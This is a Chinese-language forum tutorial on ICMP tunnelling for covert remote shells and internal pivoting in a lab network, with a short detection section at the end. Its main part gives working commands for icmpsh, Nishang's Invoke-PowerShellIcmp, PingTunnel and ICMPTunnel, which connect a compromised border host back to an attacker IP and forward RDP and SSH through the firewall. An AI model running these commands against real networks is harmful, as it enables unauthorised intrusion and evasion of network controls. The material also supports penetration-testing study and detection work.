深入探讨ICMP隧道工具及防御策略

ICMP隧道简介

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求

在一些内部网络环境中,大部分系统都位于防火墙和公司代理之后以便控制入站和出站Internet流量,防火墙可以阻止反向并绑定TCP连接,但是大多数情况下允许ICMP流量,因此,可以将此协议用作隐蔽通道,以便获取shell并在目标主机上远程执行命令

ICMP隧道使用

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh
工具安装

icmpsh工具使用简单,便于”携带”(跨平台),运行时不需要管理员权限,我们首先通过Git clone命令下载icmpsh:

git clone https://github.com/inquisb/icmpsh.git
图片[1]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后我们需要安装python的impacket类库,以便于对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问:

apt-get install python-impacket
图片[2]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
工具使用

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

sysctl -w net.ipv4.icmp_echo_ignore_all=1
图片[3]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后我们在终端执行以下命令来查看icmpsh的使用方法:

python icmpsh_m.py -h
图片[4]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后根据脚本使用方法在终端执行以下命令:

python icmpsh_m.py 192.168.188.129 192.168.188.128
图片[5]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在边界Web主机(192.168.188.128)上执行以下命令:

icmpsh.exe -t 192.168.188.129(AttackIP)
图片[6]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在攻击者主机上可以看到目标主机的shell:

图片[7]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
Powershell版本
Nishang框架

Nishang框架包含了一个PowerShell模块,可以与icmpsh的python脚本结合使用,以获得ICMP上的shell

Powershell使用

在攻击主机上执行以下命令将等待任何传入的ICMP数据包:

python icmpsh_m.py 192.168.188.129 192.168.188.128
图片[8]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在边界Web主机上通过powershell执行以下命令:

Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.188.129
图片[9]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后攻击主机汇总接受到连接:

图片[10]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
PingTunnel(C)
工具介绍

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。

工具安装

a.安装libpcap的依赖环境

apt-get install byacc
apt-get install flex bison
图片[11]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
图片[12]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

b、安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
图片[13]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
图片[14]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
图片[15]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

c、安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
图片[16]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
工具使用

网络环境:

  • 攻击主机(VPS):192.168.188.129
  • 攻击主机(Windows 10):192.168.188.1
  • 内网边界主机(Kali linux):192.168.188.134、192.168.23.131
  • 内网目标主机(Windows 7):192.168.23.128

网络拓扑:

图片[17]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

网络关系:Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务,内网存在一台Windows 7机器,Web服务器可以与该机器连接。

测试目标:假定现在我们获取到了边界Web服务器的权限,之后想用ICMP搭建通往内网的隧道,连接内网Windows Server 2008 R2的3389端口

测试步骤:

在内网Web边界服务器执行以下指令:

ptunnel -x al1ex  // -x 指定连接密码
图片[18]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在攻击主机上执行以下命令:

指令格式:ptunnel -p 边界Web主机IP -lp 1080 -da Web服务器内网的其他主机IP -dp 3389 -x al1ex
指令示例:./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 3389 -x al1ex
指令解释:上述指令的含义是指在访问攻击者VPS(192.168.188.129)的1080端口时,会吧数据库服务器192.168.23.12的3389端口的数据
         封装在ICMP隧道里,以Web服务器182.168.188.134为ICMP隧道跳板进行传送

相关参数说明:

  • -p:指定ICMP隧道另一端的IP
  • -lp:指定本地监听的端口
  • -da:指定要转发的目标机器的IP
  • -dp:指定要转发的目标机器的端口
  • -x: 指定连接密码
图片[19]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

最后在本地Windows 10主机中使用mstsc访问VPS主机(192.168.188.129——>Kali linux)的1080端口:

图片[20]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后会弹出以下认证界面,填写目标内网主机的RDP登录凭证信息进行登录:

图片[21]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后可以看到成功连接到内网主机(192.168.23.128)远程桌面:

图片[22]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

在整个通信过程中VPS中ptunnel终端显示如下:

图片[23]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

在整个通信过程中边界Web主机中ptunnel终端显示如下:

图片[24]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

当我们想要使用ICMP隧道内网主机的22端口时,直接修改命令即可,例如:

./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 22 -x al1ex

之后同样在本地访问VPS的22端口,发现可以成功与内网主机的22端口建立连接,之后使用SSH认证凭证进行登录即可,由于笔者这里是Windows 7主机所有就不再深入演示了~

PingTunnel(Go)
 工具介绍

该工具是PingTunnel Go语言版本,同样它也是一款ICMP隧道工具,可以跨平台使用,常用的网络场景如下所示:

图片[25]-深入探讨ICMP隧道工具及防御策略-山海云端论坛
工具使用

首先下载PingTunnel对应的安装包

https://github.com/esrrhs/pingtunnel/releases
图片[26]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后禁用边界主机的icmp回复

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
图片[27]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在边界服务器端启动服务端:

./pingtunnel -type server
图片[28]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

之后在攻击主机上启动客户端,客户端支持以下格式:

转发Sock5:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1

转发TCP:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

转发UDP:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
Icmptunnel
工具介绍

ICMPTunnel是一个使用python编写的简易脚本,该工具主要用于创建一个反向的ICMP隧道用于转发TCP通信数据包,这在内网中有时候也会很有帮助,且该工具具有一定的免杀效果~

工具使用

首先去Github下载项目:

https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

rdesktop 192.168.188.131:44171
图片[29]-深入探讨ICMP隧道工具及防御策略-山海云端论坛

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下:

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加”TUNL”标记来标识隧道——这就是特征。
© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容